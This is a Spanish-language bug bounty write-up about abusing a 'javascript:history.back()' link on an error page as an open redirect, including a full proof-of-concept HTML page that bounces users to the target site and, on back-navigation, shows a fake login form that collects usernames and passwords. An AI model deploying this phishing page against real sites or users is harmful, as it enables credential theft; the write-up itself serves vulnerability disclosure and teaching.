Abusar de Javascript:history.back() como una redirección abierta
Hola hackers,
Hoy les contaré sobre un error interesante, es un error de baja gravedad, pero creo que aprenderán de esto, así que comencemos.
¿Alguna vez ha hecho clic en el botón "atrás" en su navegador, solo para ser redirigido a una página maliciosa?
Esta es una táctica común utilizada por los atacantes para explotar una vulnerabilidad con la javascript:history.back()función. La javascript:history.back()función es una característica útil en las aplicaciones web que permite a los usuarios volver a una página anterior. Sin embargo, los atacantes también pueden utilizarlo para redirigir a los usuarios a una página maliciosa mediante la manipulación del historial del navegador.
Estaba buscando en un programa RDP, encontré una URL que daba un error de no encontrado con un enlace de regreso y esa página tiene una javascript:history.back()función.
luego me doy cuenta rápidamente de que podemos explotar esto para abrir una vulnerabilidad de redirección.
Aquí está la prueba de concepto de cómo lo hice.
En primer lugar, alojé una página HTML en mi máquina local.
La página tiene el siguiente código.
<html>
<head>
<title>THIS IS THE EVIL PAGE, your account is Please </title></head>
<body>
<div id="forward">
<a href="https://link-of-the-vulnerable-page.com/locale/redirect?locale=en">GO BACK PAGE</a>
</div>
<div id="phish">
<h1> WELOCME TO ATTACKERS PAGE </h1>
</div>
<div>
<h1>PLEASE LOGIN HERE </h1>
<form action="process_login.php" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username"><br><br>
<label for="password">Password:</label>
<input type="password" id="password" name="password"><br><br>
<input type="submit" value="Login">
</form>
</div>
<script>
function hide(id) {
document.getElementById(id).style.display = 'none';
}
function show(id) {
document.getElementById(id).style.display = '';
}
window.addEventListener("pageshow", function () {
if (performance.navigation.type === performance.navigation.TYPE_BACK_FORWARD) {
hide("forward");
show("phish");
} else {
hide("phish");
show("forward");
document.querySelector("#forward a").click();
}
});
</script>
</body>
</html>
https://redacted.com/locale/redirect?locale=es
y el usuario obtendrá el siguiente error con un enlace para regresar.
el usuario pensará que ocurrió algún error y hará clic en el enlace volver atrás, pero en este caso, como el usuario ya está redirigido desde la página maliciosa. La función no validará si la página anterior era del mismo dominio o no, por lo que llevará al usuario a la página del atacante malicioso.
Al usar esto, un atacante puede robar información confidencial como contraseñas y otros datos personales.
Es un error de gravedad media, igual que una vulnerabilidad de redirección abierta. Informé esto al sitio web, pero su programa está suspendido, pero aún así es un error de bajo perfil que puede encontrar fácilmente en cualquier sitio web e informarlo.
Si quieres, puedo darte un POC completo de este error, puedes enviarme un mensaje en Twitter o Instagram.
Que tengas un gran viaje de caza, Adiós
Ajay Jachak :)
¡Sígueme en!
Gorjeo-https://twitter.com/Ajay_jachak24
LinkedIn-https://www.linkedin.com/in/ajay-jachak-990964212/
Instagram-https://www.instagram.com/ajax.pvt/

![¿Qué es una lista vinculada, de todos modos? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































